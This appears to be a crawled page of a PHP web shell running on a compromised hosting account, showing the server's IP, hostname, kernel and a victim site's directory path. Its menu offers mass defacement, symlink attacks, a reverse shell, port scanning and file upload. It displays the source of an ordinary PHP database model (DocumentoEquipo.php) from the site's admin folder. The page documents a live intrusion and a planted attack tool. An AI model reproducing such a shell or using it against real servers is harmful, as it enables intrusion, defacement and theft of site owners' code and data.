Tul xxx Tul
User / IP
:
216.73.217.33
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
emprendo.com.co
/
public_html
/
soy4
/
admin
/
models
/
Viewing: DocumentoEquipo.php
<?php class DocumentoEquipo { private const TABLE = 'gral_docsequipo'; public static function forEquipoIds(array $equipoIds): array { $ids = array_values(array_filter(array_map('intval', $equipoIds), static fn($id) => $id > 0)); if (empty($ids)) { return []; } $placeholders = implode(',', array_fill(0, count($ids), '?')); $pdo = Database::connection(); $stmt = $pdo->prepare( 'SELECT id, equipo_id, tipo_documento, archivo, creado_en, actualizado_en ' . 'FROM `' . self::TABLE . '` WHERE equipo_id IN (' . $placeholders . ') ORDER BY id ASC' ); $stmt->execute($ids); $rows = $stmt->fetchAll() ?: []; $grouped = []; foreach ($rows as $row) { $equipoId = (int)($row['equipo_id'] ?? 0); if ($equipoId <= 0) { continue; } if (!isset($grouped[$equipoId])) { $grouped[$equipoId] = []; } $grouped[$equipoId][] = self::mapRow($row); } return $grouped; } public static function replaceDocuments(int $equipoId, array $documents): void { $pdo = Database::connection(); $pdo->prepare('DELETE FROM `' . self::TABLE . '` WHERE equipo_id = :equipo_id') ->execute(['equipo_id' => $equipoId]); if (empty($documents)) { return; } $stmt = $pdo->prepare( 'INSERT INTO `' . self::TABLE . '` (equipo_id, tipo_documento, archivo) ' . 'VALUES (:equipo_id, :tipo_documento, :archivo)' ); foreach ($documents as $document) { $stmt->execute([ 'equipo_id' => $equipoId, 'tipo_documento' => trim((string)($document['tipo_documento'] ?? '')), 'archivo' => self::normalizePath($document['archivo'] ?? null), ]); } } public static function deleteByEquipoId(int $equipoId): void { $pdo = Database::connection(); $pdo->prepare('DELETE FROM `' . self::TABLE . '` WHERE equipo_id = :equipo_id') ->execute(['equipo_id' => $equipoId]); } private static function mapRow(array $row): array { return [ 'id' => (int)($row['id'] ?? 0), 'equipo_id' => (int)($row['equipo_id'] ?? 0), 'tipo_documento' => $row['tipo_documento'] ?? '', 'archivo' => $row['archivo'] ?? null, 'creado_en' => $row['creado_en'] ?? null, 'actualizado_en' => $row['actualizado_en'] ?? null, ]; } private static function normalizePath($path): ?string { $value = trim((string)($path ?? '')); return $value === '' ? null : $value; } }
Coded With 💗 by
0x6ick